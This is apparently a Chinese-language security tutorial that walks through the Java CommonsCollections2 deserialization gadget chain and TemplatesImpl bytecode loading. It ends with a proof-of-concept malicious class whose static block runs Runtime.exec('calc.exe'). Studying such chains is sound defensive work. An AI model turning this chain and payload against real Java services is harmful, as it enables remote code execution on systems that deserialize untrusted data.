CommonsCollection2调用流程
整个调用链详细版本
ObjectInputStream.readObject() | PriorityQueue.readObject() | PriorityQueue.heapify | PriorityQueue.siftDown | PriorityQueue.siftDownUsingComparator | TransformingComparator.compare() | InvokerTransformer.transform() | TemplatesImpl.getTransletInstance | ->(动态创建的类)cc2.newInstance()->Runtime.exec()
官方调用链
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
CommonsCollections2
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用。
所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI+PriorityQueue 来构造利用链的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是,在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.
第一步通过templatempI加载恶意类
TemplatesImpI类分析
这个类我们用来加载我们的恶意类。
分析getTransletInstance
这里有两个判断条件
如果_name==null 返回null
如果_class==null就调用defineTransletClasses() 下来跟进defineTransletClasses()
分析defineTransletClasses()
这里如果_bytecodes==null就执行错误处理语句块
看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值
这个常量中 可以跟进这个常量看看这个常量中存储了什么值
可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它
注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件
构造恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }